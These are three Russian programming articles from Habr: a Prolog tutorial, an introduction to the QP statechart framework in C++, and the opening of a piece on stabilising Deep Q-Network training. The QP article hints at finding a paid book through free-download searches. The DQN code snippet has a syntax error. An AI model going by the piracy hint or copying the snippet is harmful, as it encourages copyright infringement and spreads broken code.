1. Константами. Делятся на числа и атомы. Начинаются с маленькой буквы. Числа: 1,36, 0, -1, 123.4, 0.23E-5. Атомы — это просто символы и строки: a, abc, neOdinSimvol, sTROKa. Если атом состоит из пробела, запятых и тд, то нужно их обрамлять в одинарные кавычки. Пример атома: 'строка с пробелами, запятыми. Eto kirilicca'.
2. Переменными. Начинаются с заглавной буквы: X, Y, Z, Peremennaya, Var.
3. Структурами (сложные термы). Например, study(misha, lp).
4. Списками. Пример: [X1], [Head|Tail]. Мы разберем их позже в этой статье.
[Есть хорошая статья](http://codenet.ru/progr/alg/ai/htm/gl4_3.php), которая подробно рассказывает про синтаксис и терминологию Пролога. Рекомендую её, чтобы лучше *понять понятия* Пролог.
Пролог использует методы полного перебора и обход дерева. Во время проверки условий (доказательства утверждений) Пролог заменяет **переменные** на конкретные значения. Через пару абзацев будут примеры.
study(mark, book). — такие конструкции называются **фактами**. Они всегда истинны. Если факта в базе знаний нету, то такой факт ложный. Факты нужно оканчивать точкой, так же как утверждения в русском языке.
"Задавать вопросы Прологу" означает попросить Пролог доказать наше утверждение. Пример: ?- study(mark, book). Если наше утверждение всегда истинно, то Пролог напечатает *true*, если всегда ложно, то *false*. Если наше утверждение верно при некоторых значениях переменных, то Пролог выведет значения переменных, при которых наше утверждение верно.
Давайте загрузим факты в Пролог и будем задавать вопросы. Давайте узнаем, что изучал mark. Для этого нам нужно написать "study(mark, X)." Если мы прожмем "*Enter*", то Пролог нам выдаст первое попавшееся решение
```
?- study(mark, X).
X = book .
```
Чтобы получить все возможные решения, нужно прожимать точку с запятой "*;*".
```
?- study(mark, X).
X = book ;
X = studentbook ;
X = docs.
```
Можем узнать, кто изучал документацию.
```
?- study(Who, docs).
Who = mark ;
Who = misha.
```
Можно узнать, кто и что изучал!
```
?- study(Who, Object).
Who = mark,
Object = book ;
Who = mark,
Object = studentbook ;
Who = mark,
Object = docs ;
Who = misha,
Object = math ;
Who = misha,
Object = lp ;
Who = misha,
Object = docs ;
Who = misha,
Object = studentbook.
```
Пролог проходится по всей базе фактов и находит все такие переменные Who и Object, что предикат study(Who, Object) будет истинным. Пролог перебирает факты и заменяет переменные на конкретные значения. Пролог выведет такие значения переменных, при которых утверждения будут истинными. У нас задача состояла только из фактов, и решение получилось очевидным.
Переменная Who перебирается среди имен mark, misha, а переменная Object среди book, studentbook, docs, lp, math.
Who не может равняться masha, потому что masha ничего не узнала согласно нашей базе фактов. Аналогично Object не может равняться tomuChevoNetuVBaze, так как такого значения не было в базе фактов. Для study на втором месте были только book, studentbook, docs, lp, math.
Короче, я старался понятным языком объяснить метод полного перебора, и что Пролог ~~тупо~~ все перебирает, пока что-то не подойдет. Все просто.
А теперь разберем правила в Прологе. Напишем ещё одну программу *old.pl.*
```
% Это факты
older(sasha, lesha). % Саша старше Лёши
older(misha, sasha). % Миша старше Саши
older(misha, dasha). % Миша старше Даши
older(masha, misha). % Маша старше Миши
% Это правило
older(X,Y) :- older(X, Z), older(Z,Y).
% X старше Y, если X старше Z и Z старше Y
% Проще: X > Y, если X > Z и Z > Y
%
% X, Y, Z - это переменные.
% Вместо X, Y, Z подставляются конкретные значения: misha, dasha, sasha, lesha
% Main idea: если Пролог найдет среднего Z, который между X и Y, то X старше Y.
```
older(X,Y) :- older(X, Z), older(Z,Y) — такие конструкции называются **правилами**. Чтобы из факта получить правило, нужно заменить точку "." на двоеточие дефис ":-" и написать условие, когда правило будет истинным. Правила истинны только при определенных условиях. Например, это правило будет истинно в случае, когда факты older(X,Z) и older(Z,Y) истинны. Если переформулировать, то получается "X старше Y, если X старше Z и Z старше Y". Если математически: "X > Y, если X > Z и Z > Y".
Запятая "**,**" в Прологе играет роль логического "И". Пример: "0 < X, X < 5". X меньше 5 И больше 0.
Точка с запятой "**;**" играет роль логического "ИЛИ". "X < 0; X > 5". X меньше 0 ИЛИ больше 5.
Отрицание "not(Какой-нибудь предикат)" играет роль логического "НЕ". "not(X==5)". X НЕ равен 5.
Факты и правила образуют утверждения, **предикаты**. ([хорошая статья про предикаты](http://verim.org/project/prolog/predikaty_v_prologe))
Сперва закомментируйте правило и поспрашивайте Пролог, кто старше кого.
```
?- older(masha, X).
X = misha.
```
Маша старше Миши. Пролог просто прошелся по фактам и нашел единственное верный факт. Но.. мы хотели узнать "Кого старше Маша?". Логично же, что если Миша старше Саши И Маша старше Миши, то Маша также старше Саши. И Пролог должен решать такие логические задачи. Поэтому нужно добавить правило older(X,Y) :- older(X, Z), older(Z,Y).
Повторим вопрос.
```
?- older(masha, X).
X = misha ;
X = sasha ;
X = dasha ;
X = lesha ;
ERROR: Stack limit (1.0Gb) exceeded
ERROR: Stack sizes: local: 1.0Gb, global: 21Kb, trail: 1Kb
ERROR: Stack depth: 12,200,525, last-call: 0%, Choice points: 6
ERROR: Probable infinite recursion (cycle):
ERROR: [12,200,525] user:older(lesha, _5658)
ERROR: [12,200,524] user:older(lesha, _5678)
?-
```
Программа смогла найти все решения. Но что это такое? Ошибка! Стек переполнен! Как вы думаете, с чем это может быть связано? Попробуйте подумать, почему это происходит. Хорошее упражнение — расписать на бумаге алгоритм older(masha,X) так, как будто вы — Пролог. Видите причину ошибки?
Это связано с бесконечной рекурсией. Это частая ошибка, которая возникает в программировании, в частности, на Прологе. older(X, Y) вызывает новый предикат older(X,Z), который в свою очередь вызывает следующий предикат older и так далее...
Нужно как-то остановить зацикливание. Если подумать, зачем нам проверять первый предикат "older(X, Z)" через правила? Если не нашел факт, то значит весь предикат older(X, Y) ложный (подумайте, почему).
Нужно объяснить Прологу, что факты и правила нужно проверять во второй части older(Z, Y), а в первой older(X, Y) — только факты
Нужно объяснить Прологу, что если он в первый раз не смог найти нужный факт, то ему не нужно приступать к правилу. Нам нужно как-то объяснить Прологу, где факт, а где правило.
Это задачу можно решить, добавив к предикатам ещё один аргумент, который будет показывать — это правило или факт.
```
% Это факты
older(sasha, lesha, fact). % Саша старше Лёши
older(misha, sasha, fact). % Миша старше Саши
older(misha, dasha, fact). % Миша старше Даши
older(masha, misha, fact). % Маша старше Миши
% Это правило
older(X,Y, rule) :- older(X, Z, fact), older(Z,Y, _).
% X старше Y, если X старше Z и Z старше Y
% Проще: X > Y, если X > Z и Z > Y
%
% X, Y, Z - это переменные.
% Пролог перебирает все возможные X, Y, Z.
% Вместо X, Y, Z подставляются misha, dasha, sasha, lesha
% Например: Миша старше Лёши, если Миша старше Саши и Саша старше Лёши
```
Нижнее подчеркивание "\_" - это анонимная переменная. Её используют, когда нам не важно, какое значение будет на её месте. Нам важно, чтобы первая часть правила была фактом. А вторая часть может быть любой.
Запустим код.
```
?- older(masha, X, _).
X = misha ;
X = sasha ;
X = dasha ;
X = lesha ;
false.
```
Наша программа вывела все верные ответы.
Возможно, возникает вопрос: откуда Пролог знает, что изучает Марк и что Миша старше Даши? Как он понимает такие человеческие понятия? Почему ассоциируется study(mark, math) с фразой "Марк изучает математику"? Почему не с "математика изучает Марка"?. Это наше представление. Мы договорились, что пусть первый терм будет обозначать "субъект", сам предикат "взаимосвязь", а второй терм "объект". Мы могли бы воспринимать по-другому. Это просто договеренность о том, как воспринимать предикаты. Пролог позволяет нам абстрактно описать взаимоотношения между термами.
Напишем предикат для нахождения факториала от N.
```
factorial(1, 1).
factorial(N, F):-
N1 is N-1,
factorial(N1, F1),
F is F1*N.
% В Прологе пробелы, табуляция и новые строки работают также, как C/C++.
% Главное в конце закончить предикат точкой.
```
"is" означает присвоить, т.е N1 будет равняться N-1. Присвоение значений переменным Пролога называется **унификацией**. "is" работает только для чисел. Чтобы можно было присваивать атомы, нужно вместо "is" использовать "=".
Зададим запросы. Здесь стоит прожимать Enter, чтобы получить первое решение и не попасть в бесконечный цикл.
```
?- factorial(1,F).
F = 1 .
?- factorial(2,F).
F = 2 .
?- factorial(3,F).
F = 6 .
?- factorial(4,F).
F = 24 .
?- factorial(5,F).
F = 120 .
?- factorial(10,F).
F = 3628800 .
```
Можно улучшить, добавив дополнительное условие, что N должно быть больше или равно 0. Тогда наше решение точно не попадет в бесконечный цикл.
```
factorial(1, 1).
factorial(N, F):-
N >= 0,
N1 is N-1,
factorial(N1, F1),
F is F1*N.
```
В качестве упражнения я предлагаю вам решить такие задачи:
1. Описать свое генеалогическое древо на предикатах female(X), male(X) и parent(X,Y).
2. Написать предикат нахождения N числа ряда Фибоначчи.
3. Описать дерево (граф без циклов) и найти, с какими вершинами связанная заданная вершина.
Списки в Prolog
---------------
**Списки** — важная структура в Прологе. Списки позволяют хранить произвольное количество данных. *Связный список* — структура данных, состоящая из узлов. Узел содержит данные и ссылку (указатель, связку) на один или два соседних узла. Списки языка Prolog являются односвязными, т.е. каждый узел содержит лишь одну ссылку. Приложу наглядную картинку.
Кстати, [ещё одна хорошая статья про списки в Прологе](https://pro-prof.com/archives/845).
Списки в Прологе отличаются от списков в C/C++, Python и других процедурных языков. Здесь список — это либо пустой элемент; либо один элемент, называемый головой, и присоединенный список — хвост. Список - это рекурсивная структура данных с последовательным доступом.
Списки выглядят так: [],[a], [abc, bc], ['Слово 1', 'Слово 2', 1234], [X], [Head|Tail].
Рассмотрим [Head|Tail]. Это всё список, в котором мы выделяем первый элемент, *голову списка*, и остальную часть, *хвост списка*. Чтобы отделить первые элементы от остальной части списка, используется прямая черта "|".
Можно было написать такой список [X1,X2,X3|Tail]. Тогда мы выделим первые три элемента списка и положим их в X1, X2, X3, а остальная часть списка будет в Tail.
В списках хранятся данные, и нам нужно с ними работать. Например, находить минимум, максимум, медиану, среднее, дисперсию. Может нужно найти длину списка, длину самого длинного атома, получить средний балл по N предмету среди студентов группы G. Может нужно проверить, есть ли элемент Elem в списке List. И так далее. Короче, нужно как-то работать со списками. Только предикаты могут обрабатывать списки (да и в целом в Прологе все обрабатывается предикатами).
Напишем предикат для перебора элементов списка, чтобы понять принцип работы списка.
```
% element(Список, Элемент)
element([Head|Tail], Element) :- Element = Head; element(Tail, Element).
?- element([1,2,3,4,5,6, 'abc', 'prolog'], Elem).
Elem = 1 ;
Elem = 2 ;
Elem = 3 ;
Elem = 4 ;
Elem = 5 ;
Elem = 6 ;
Elem = abc ;
Elem = prolog ;
false.
```
element([Head|Tail],Element) будет истинным, если Element равен Head (первому элементу списка) ИЛИ если предикат element(Tail, Element) истинный. В какой-то момент эта рекурсия окончится. (Вопрос читателю: когда кончится рекурсия? Какое условие будет терминирующим?) Таким образом, предикат будет истинным, если Element будет равен каждому элементу списка [Head|Tail]. Пролог найдет все решения, и мы переберем все элементы списка.
Часто бывает нужным знать длину списка. Напишем предикат для нахождения длины списка. Протестим.
```
% list_length(Список, Длина списка)
list_length([], 0).
list_length([H|T], L) :- list_length(T, L1), L is L1+1.
?- list_length([123446,232,2332,23], L).
L = 4.
?- list_length([123446,232,2332,23,sdfds,sdfsf,sdfa,asd], L).
L = 8.
?- list_length([], L).
L = 0.
?- list_length([1], L).
L = 1.
?- list_length([1,9,8,7,6,5,4,3,2], L).
L = 9.
```
Мой Пролог предупреждает, что была не использована переменная H. Код будет работать, но лучше использовать анонимную переменную \_, вместо singleton переменной.
В SWI Prolog имеется встроенный предикат length. Я реализовал аналогичный предикат list\_length. Если встречается пустой список, то его длина равна нулю. Иначе отсекается голова списка, рекурсивно определяется длина нового получившегося списка и к результату прибавляется единица.
Чтобы лучше понять алгоритм, пропишите его на бумаге. Последовательно, так, как делает Пролог.
Последняя задача про списки в этой статье, это определить, принадлежит ли элемент списку. Например, 1, 2, 3 и 4 являются элементами списка [1,2,3,4]. Этот предикат мы назовем list\_member.
```
mymember(Elem, [Elem|_]).
mymember(Elem, [_|Tail]) :- mymember(Elem, Tail).
```
Очевидно, что если список начинается с искомого элемента, то элемент принадлежит списку. В противном случае необходимо отсечь голову списка и рекурсивно проверить наличие элемента в новом получившемся списке.
Преимущества и недостатки Prolog
--------------------------------
Пролог удобен в решении задач, в которых мы знаем начальное состояние (объекты и отношения между ними) и в которых нам трудно задать четкий алгоритм поиска решений. То есть чтобы Пролог сам нашел ответ.
Список задач, в которых Пролог удобен:
* Искусственный интеллект
* Компьютерная лингвистика. Написание стихов, анализ речи
* Поиск пути в графе. Работа с графами
* Логические задачи
* Нечисловое программирование
Знаменитую логическую задачу Эйнштейна можно гораздо легче решить на Прологе, чем на любом другом императивном языке. Одна из вариаций такой задачи:
Задача ЭйнштейнаНа улице стоят пять домов. Каждый из пяти домов окрашен в свой цвет, а их жители — разных национальностей, владеют разными животными, пьют разные напитки и имеют разные профессии.
1. Англичанин живёт в красном доме.
2. У испанца есть собака.
3. В зелёном доме пьют кофе.
4. Украинец пьёт чай.
5. Зелёный дом стоит сразу справа от белого дома.
6. Скульптор разводит улиток.
7. В жёлтом доме живет математик.
8. В центральном доме пьют молоко.
9. Норвежец живёт в первом доме.
10. Сосед поэта держит лису.
11. В доме по соседству с тем, в котором держат лошадь, живет математик.
12. Музыкант пьёт апельсиновый сок.
13. Японец программист.
14. Норвежец живёт рядом с синим домом.
Кто пьёт воду? Кто держит зебру?
Замечание: в утверждении 6 *справа* означает справа относительно *вас*.
Научиться решать логические задачи на Пролог, можно [по этой статье](https://pro-prof.com/archives/1299).
Ещё [одна интересная статья](https://habr.com/ru/post/539988/). В ней автор пишет программу сочинитель стихов на Prolog.
Интересная задача, которую вы можете решить на Прологе: раскрасить граф наименьшим количеством цветов так, чтобы смежные вершины были разного цвета.
Иллюстрация к задачеПролог такой замечательный язык! Но почему его крайне редко используют?
Я вижу две причины:
1. Производительность
2. Альтернативы (например, нейросетей на Python)
Пролог решает задачи методом полного перебора. Следовательно, его сложность растет как O(n!). Конечно, можно использовать отсечения, например, с помощью "!". Но все равно сложность останется факториальной. Простые задачи не так интересны, а сложные лучше реализовать жадным алгоритмом на императивном языке.
Области, для которых предназначен Пролог, могут также успешно решаться с помощью Python, C/C++, C#, Java, нейросетей. Например, сочинение стихов, анализ речи, поиск пути в графе и так далее.
Я не могу сказать, что логическое программирование не нужно. Оно действительно развивает логическое мышление. Элементы логического программирования можно встретить на практике. И в принципе, логическое программирование — интересная парадагима, которую полезно знать, например, специалистам ИИ.
Что дальше?
-----------
Я понимаю, что статью я написал суховато и слишком "логично" (вероятно, влияние Пролога). Я надеюсь, статья вам помогла в изучении основ Логического Программирования на примере Пролога.
(Мои мысли: я часто использую повторения в статье. Это не сочинение, это туториал. Лучше не плодить ненужные синонимы и чаще использовать термины. По крайней мере, в туториалах. Так лучше запоминается. Повторение — мать учения. А как вы считаете?).
Это моя дебютная статья, и я буду очень рад конструктивной критике. Задавайте вопросы, пишите комментарии, я постараюсь отвечать на них. В конце статьи я приведу все ссылки, которые я упоминал и которые мне показались полезными.
Статью написал Горохов Михаил, успехов в обучении и в работе!
Ссылки
------
1. [Ссылка на скачивание SWI Prolog](https://www.swi-prolog.org/download/stable)
2. [Синтаксис Пролога и его терминология](http://codenet.ru/progr/alg/ai/htm/gl4_3.php)
3. [Предикаты в Пролог](http://verim.org/project/prolog/predikaty_v_prologe)
4. [Списки в Пролог](https://pro-prof.com/archives/845)
5. [Логические задачи](https://pro-prof.com/archives/1299)
6. [Сочинение стихов с помощью Пролог](https://habr.com/ru/post/539988/)
7. [И конечно же ссылка на Википедию](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%BB%D0%BE%D0%B3_(%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F))
8. [Слышали о Пролог?](https://itnan.ru/post.php?c=1&p=525014)
9. [Примеры использования Пролог](https://habr.com/ru/post/124820/) | https://habr.com/ru/post/552318/ | null | ru | null |
# Quantum Leaps QP и UML statecharts
#### Предисловие
Данная статья, как мне кажется, будет интересна тем, кто знаком с UML диаграммами состояний и последовательности (statecharts diagram и sequence diagram), а также с [событийно-ориентированным программированием](http://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) (event-driven programming).
#### Вступление
Кроссплатформенный фреймворк [QP](http://www.state-machine.com/downloads/index.php#QP) (Quantum Platform) от компании [Quantum Leaps](http://www.state-machine.com/) представлен его создателями как средство разработки RTOS на C/C++. Он позволят существенно увеличить скорость разработки и надежность приложений, а также имеет мощный инструментарий по отладке и логированию. Ко всему этому добавляется еще и то, что QP является очень гибким и легким: разделен на множество модулей, почти каждый из которых можно реализовать самому при сборке фреймворка или воспользоваться предложенным решением; множество настроек выполняется во время прекомпиляции.
Программа, написанная с использованием QP, представляет собой реализацию совокупности диаграмм состояний UML statecharts.
Статья является неявным рассмотрением модуля QEP, являющегося основой фреймворка (QEP реализует обработку событий), и написана с целью сподвигнуть на дальнейшее изучение.
#### Система обработки событий в QP
Для реализации диаграмм состояний QP предоставляет UML-совместимую систему обработки событий. Но стоит обратить внимание на одно обстоятельство: фреймворком поддерживаются только локальные переходы, т. е. переход в подсостояние не сопровождается событием exit, а переход в суперсостояние не возбуждает событие entry. В UML 2 для совместимости с прошлыми версиями была оставлена возможность делать внешние переходы. В более ранних версиях языка доступны только внешние переходы: любой переход сопровождается событием exit и entry для текущего и целевого состояний соответственно.
Разработчику QP предлагает следующие классы:
**QFsm** для реализации одноуровневого конечного автомата (без суперсостояний)
**QHsm** для реализации иерархического автомата (с суперсостояниями)
Объекты этих классов хранят текущее состояние UML-диаграммы, и имеют публичный метод `void dispatch(const QEvent\* e)` для обработки события.
Также QP предоставляет класс **QActive**, по-умолчанию являющийся расширением **QHsm** (можно сменить на **QFsm**). Объекты данного класса, называемые активными объектами, реализуют возможность работы автомата в отдельном потоке выполнения.
Событие в QP — это объекты класса **QEvent** или его наследники. Каждое событие характеризуется сигналом — поле *sig*, отличающее один тип события от другого.
Состояние в QP — это функция (или статический метод), указатель на которую имеет вид:
`typedef QState (\*QStateHandler)(void \*me, QEvent const \*e)`, где *me* — контекст (объект автомата), *e* — поступившее событие
Фреймворк предусматривает для состояния три основных способа обработки события:
* *Q\_HANDLED()*, если нужно просто обработать событие, не совершая перехода;
* *Q\_TRAN(<адрес следующего состояния>)* — сделать переход;
* *Q\_SUPER(<адрес суперсостояния>)* — передать суперсостоянию. Доступно только для QHsm-автоматов.
QP также имеет специальные события, которые могут генерироваться при переходе. Порядок возникновения этих событий и последовательность действий при совершении перехода следующие:
1. выполняются атомарные действия перехода;
2. событие exit (*Q\_EXIT\_SIG*). Возникает в текущем состоянии при выходе из него. Если к тому же происходит выход из суперсостояния, то exit для этого суперсостояния происходит сразу после exit для текущего. Событие exit может быть только обработано (*Q\_HANDLED*);
3. автомат переходит в целевое состояние;
4. событие entry (*Q\_ENTRY\_SIG*). Возникает при входе в состояние. Это событие может быть только обработано;
5. событие с сигналом *Q\_INIT\_SIG* (только для **QHsm**-автоматов) — инициализирующее событие. Возникает всегда. Служит для совершения перехода (*Q\_TRAN*) в подсостояние, но в принципе его тоже можно просто обработать;
Общий вид **QFsm** состояний:
> `static QState state1(Fsm\* me, const QEvent\* e) {
>
> switch(e->sig) {
>
> case Q\_ENTRY\_SIG: {
>
> /\* processing \*/
>
> return Q\_HANDLED();
>
> }
>
> case EVENT1\_SIG: {
>
> /\* processing \*/
>
> return Q\_TRAN(&state2);
>
> }
>
> case EVENT2\_SIG: {
>
> /\* processing \*/
>
> return Q\_HANDLED();
>
> }
>
> case Q\_EXIT\_SIG: {
>
> /\* processing \*/
>
> return Q\_HANDLED();
>
> }
>
> }
>
> return Q\_HANDLED();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Общий вид **QHsm** состояний:
> `static QState state1(Hsm\* me, const QEvent\* e) {
>
> switch(e->sig) {
>
> case Q\_ENTRY\_SIG: {
>
> /\* processing \*/
>
> return Q\_HANDLED();
>
> }
>
> case Q\_INIT\_SIG: {
>
> /\* processing \*/
>
> return Q\_TRAN(&state1\_substate1); // return Q\_HANDLED();
>
> }
>
> case EVENT1\_SIG: {
>
> /\* processing \*/
>
> return Q\_TRAN(&state2);
>
> }
>
> case EVENT2\_SIG: {
>
> /\* processing \*/
>
> return Q\_HANDLED();
>
> }
>
> case Q\_EXIT\_SIG: {
>
> /\* processing \*/
>
> return Q\_HANDLED();
>
> }
>
> }
>
> return Q\_SUPER(&superstate1);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Специальные события типа *Q\_ENTRY\_SIG*, *Q\_INIT\_SIG*, *Q\_EXIT\_SIG* существуют в рамках одного состояния и не делегируются суперсостоянию, обрабатывать их необязательно.
#### Пример
Рассмотрим систему с одним активным объектом (*sm*) и односторонним воздействием на него. В этом случае можно обойтись без использования модуля многозадачности (QK) и класса **QActive**.
[](https://habrastorage.org/storage/habraeffect/67/88/67885ee2b65678d826039f7c6fc247c2.png "Хабрэффект.ру")
Пусть объект *sm* имеет диаграмму состояний, являющуюся иерархическим конечным автоматом.
[](https://habrastorage.org/storage/habraeffect/cb/40/cb40ddaac942737335400718aa449020.png "Хабрэффект.ру")
Вот так можно реализовать эту задачу, используя QP:
> `// сигналы
>
> enum Signals {
>
> PROCEED\_SIG = Q\_USER\_SIG,
>
> CANCEL\_SIG,
>
> };
>
>
>
> // класс событий, соответствующий сигналу PROCEED\_SIG
>
> struct ProceedEvt : public QEvent {
>
> ProceedEvt(int value = 0) : value(value) { sig = PROCEED\_SIG; }
>
> int value;
>
> };
>
>
>
> // класс событий, соответствующий сигналу CANCEL\_SIG
>
> struct CancelEvt : public QEvent {
>
> CancelEvt() { sig = CANCEL\_SIG; }
>
> };
>
>
>
> // класс иерархического автомата sm
>
> class Hsm : public QHsm {
>
> public:
>
> Hsm() : QHsm((QStateHandler)&initial) { init(); }
>
>
>
> private:
>
> // псевдосостояние initial state
>
> static QState initial(Hsm\* me, const QEvent\* e) {
>
> return Q\_TRAN(&superState);
>
> }
>
>
>
> static QState superState(Hsm\* me, const QEvent\* e) {
>
> switch (e->sig) {
>
> case Q\_ENTRY\_SIG: {
>
> me->count = 10;
>
> return Q\_HANDLED();
>
> }
>
> case Q\_INIT\_SIG: {
>
> return Q\_TRAN(&stateA);
>
> }
>
> case CANCEL\_SIG: {
>
> return Q\_TRAN(&stateC);
>
> }
>
> }
>
>
>
> /\* QHsm::top - самое верхнее суперсостояние,
>
> \* которое просто возвращает Q\_HANDLED(). \*/
>
> return Q\_SUPER(&QHsm::top);
>
> }
>
>
>
> static QState stateA(Hsm\* me, const QEvent\* e) {
>
> switch (e->sig) {
>
> case PROCEED\_SIG: {
>
> return Q\_TRAN(&stateB);
>
> }
>
> }
>
> return Q\_SUPER(&superState);
>
> }
>
>
>
> static QState stateB(Hsm\* me, const QEvent\* e) {
>
> switch (e->sig) {
>
> case PROCEED\_SIG: {
>
> if (me->count > 1) {
>
> me->count \*= 2;
>
> return Q\_TRAN(&stateA);
>
> }
>
> ++me->count;
>
> return Q\_HANDLED();
>
> }
>
> case Q\_EXIT\_SIG: {
>
> cout << "count = " << me->count << endl;
>
> me->count = 0;
>
> return Q\_HANDLED();
>
> }
>
> }
>
> return Q\_SUPER(&superState);
>
> }
>
>
>
> static QState stateC(Hsm\* me, const QEvent\* e) {
>
> switch (e->sig) {
>
> case PROCEED\_SIG: {
>
> if (static\_cast<const ProceedEvt\*>(e)->value == 1) {
>
> return Q\_TRAN(&superState);
>
> }
>
> break;
>
> }
>
> }
>
> return Q\_SUPER(&QHsm::top);
>
> }
>
>
>
> int count;
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь создадим объект *sm* класса **Hsm** (см. диаграмму последовательности выше) и обработаем десяток событий:
> `int main(int argc, char\* argv[]) {
>
> Hsm sm; // stateA, count = 10
>
>
>
> for (int i = 0; i < 2; ++i) {
>
> sm.dispatch(&ProceedEvt()); // stateB, count = 10
>
> sm.dispatch(&ProceedEvt()); // stateA, count = 0
>
> sm.dispatch(&ProceedEvt()); // stateB, count = 0
>
> sm.dispatch(&ProceedEvt()); // stateB, count = 1
>
> sm.dispatch(&ProceedEvt()); // stateB, count = 2
>
> sm.dispatch(&ProceedEvt()); // stateA, count = 0
>
> sm.dispatch(&ProceedEvt()); // stateB, count = 0
>
> sm.dispatch(&ProceedEvt()); // stateB, count = 1
>
> sm.dispatch(&ProceedEvt()); // stateB, count = 2
>
> sm.dispatch(&CancelEvt()); // stateC, count = 2
>
> sm.dispatch(&CancelEvt()); // stateC, count = 2
>
> sm.dispatch(&ProceedEvt()); // stateC, count = 2
>
> sm.dispatch(&ProceedEvt(1)); // stateA, count = 10
>
> }
>
>
>
> return 0;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Заключение
Остальные средства UML statecharts: псевдосостояния initial, final, history, deep history и прочие; отложенная обработка событий, ортогональный компонент состояния, скрытое состояние и т. д. — довольно просто реализуются с помощь «паттернов проектирования состояний» (state design patterns), пять из которых приведены в книге, о которой я расскажу ниже.
##### Преимущества QP
* принцип использования в C почти не отличается от C++;
* является opensource, исходники хорошо прокомментированы;
* QP уже портирован на множество систем, в частности на GNU Linux системы;
* существует средство моделирования диаграмм состояний QM от Quantum Leaps;
* продукцией Quantum Leaps пользуются довольно крупные [компании](http://www.state-machine.com/about/customers.php).
##### О книге
К QP прилагается большая книга «Practical UML Statecharts in C/C++, Second Edition: Event-Driven Programming for Embedded Systems» от [основателя компании](http://www.linkedin.com/in/samek) Quantum Leaps, которая разделена на 2 части: в первой говорится о том, как использовать фреймворк, а вторая посвящена тому, как это работает, как заточить QP под свою систему, как использовать трейсер QS (QSpy), и что такое QP-nano.
Также в учебном пособии приведены сравнения использования фреймворка, паттерна state и switch-метода.
Книга стоит денег, но можно найти в Интернете по запросу «скачать бесплатно».
##### Ссылки
* [здесь](https://github.com/dizel3d/habr/tree/qp1) примеры к статье;
* [здесь](https://github.com/dizel3d/qpcpp) 32-битный порт QP для GNU Linux x64. | https://habr.com/ru/post/114239/ | null | ru | null |
# Обучение с подкреплением: практические рекомендации по обучению сетей Deep Q
В [предыдущем материале](https://habr.com/ru/company/wunderfund/blog/671650/) из этой серии мы рассказали о сетях Deep Q (Deep Q Network, DQN) и написали алгоритм их обучения на псевдокоде. Хотя такие сети, в принципе, работоспособны, практическая реализация алгоритмов обучения с подкреплением (Reinforcement Learning, RL), выполняемая без понимания их ограничений, может вести к нестабильности создаваемых систем и к плохим результатам обучения. В этом материале мы обсудим два важных ограничения, две проблемы, способных привести к нестабильности Q-обучения.
Мы поговорим и о том, как, на практике, решать эти проблемы. Вспомните о том, что уравнение Беллмана связывает, с помощью рекурсии, Q-функции для текущего и следующего временных шагов.
Уравнение Беллмана. Оптимальная Q-функция для текущего шага, отбрасывание последнего значения Q, оптимальная Q-функция для следующего шага.DQN используют нейронные сети для приблизительной оценки  и и для минимизации среднеквадратичной ошибки (Mean Squared Error, MSE) между двумя сторонами этого уравнения. Это ведёт нас к первой проблеме.
### Проблема №1: ошибка Беллмана представляет собой постоянно меняющуюся величину
Ошибка Беллмана — это всего лишь MSE, вычисленная для двух сторон уравнения Беллмана. Рассмотрим формулу, используемую для вычисления среднеквадратичной ошибки:
.
Здесь — это прогнозируемое значение, а — целевое значение. При решении задачи регрессии с использованием обучения с учителем,  — это фиксированное точное значение. Когда мы прогнозируем значение — нам не надо заботиться об изменении этого точного значения.
Но при применении Q-обучения формулы и  означают, что целевое значение  — это не точное базовое значение, а тоже спрогнозированное значение. Так как одна и та же сеть прогнозирует и значение y, и значение , это может привести к нестабильному поведению системы. При изменении  меняется и прогноз для  , что ведёт к появлению цикла обратной связи.
Проблема постоянно меняющейся величины при глубоком Q-обучении. Одна и та же сеть выдаёт и прогнозируемые, и целевые значения, что ведёт к появлению цикла обратной связи.#### Решение проблемы №1: применение для генерирования целевых значений сети, параметры которой обновляются медленнее, чем у сети, прогнозирующей обычные значения
Практическое решение этой проблемы заключается в использовании двух различных, но схожих сетей для прогнозирования значений  и . Это позволяет стабилизировать процесс обучения. В первой DQN Q-сеть используется для прогнозирования . При этом в системе хранится старая копия Q-сети, параметры которой обновляются через фиксированный интервал обучения. Эта копия сети используется для прогнозирования значения . Это позволяет обеспечить неизменность целевых значений в течение фиксированных периодов времени. Минус этого решения заключается в том, что целевое значение в процессе обучения несколько раз внезапно изменяется.
Ещё одно решение, использованное в более поздней [работе](https://arxiv.org/abs/1509.02971), выполненной в рамках проекта DeepMind, заключается в применении сети для прогнозирования целевых значений, веса которой представляют собой экспоненциальное скользящее среднее (Exponential Moving Average, EMA) весов сети, прогнозирующей обычные значения. EMA-веса меняются медленнее, но плавнее, чем обычные веса, что позволяет предотвратить неожиданные скачки целевых значений Q. Стратегия EMA в наши дни используется во многих эталонных RL-системах. Вот как это выглядит в коде:
```
"""
Экспоненциальное скользящее среднее
"""
def target_Q_update(pred_net, target_net, beta=0.99):
target_net.weights = beta * target_net.weights + \
(1-beta) pred_net.weights
return target_net
```
### Проблема №2: Q-обучение даёт слишком оптимистичные результаты
